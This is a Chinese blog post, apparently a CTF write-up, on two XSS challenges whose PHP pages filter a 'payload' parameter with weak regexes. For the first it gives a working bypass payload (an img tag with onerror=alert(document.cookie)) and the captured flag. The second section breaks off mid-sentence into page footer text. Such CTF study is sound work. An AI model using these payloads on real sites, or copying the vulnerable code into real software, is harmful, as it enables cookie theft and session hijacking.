CTF练习-Web系列-XSS

CTF学习-Web系列-XSS

这里记录下XSS类型的CTF题目

XSS0

题目描述

题目给出了一些代码,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$escaped = preg_replace("/[`<>ux]\\//", "",$_GET['payload']);
?>
//preg_replace()函数匹配替换
<script>
window.addEventListener("load", function() {
var name = `<?= $escaped ?>`;
window.greeting.innerHTML = (name == '' ? '' : name);
});
</script>

<p id="greeting"></p>

<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>

<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>

可以看到php将传入的参数进行匹配替换为空 ,正则表达式中的匹配规则将括号中的任意一字符和/字符组成的三元组进行匹配替换

payload

1
<img/src=1 onerror=alert(document.cookie)>

得到flag为: F1ag{2f4f1079a27234647958d3edba4e7e55}

XSS1

我们直接来看前端处理代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$escaped = preg_replace("/<script>/i", "", $_GET['payload']);
?>
<h1>Hello, <?= $escaped ?>!</h1>
<h1>inject</h1>
<form>
<input type="text" name="payload" placeholder="your payload here">
<input type="submit" value="GO">
</form>

<h1>src</h1>
<?php highlight_string(file_get_contents(basename(__FILE__))); ?>

这里的正则匹配是将参数中的

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信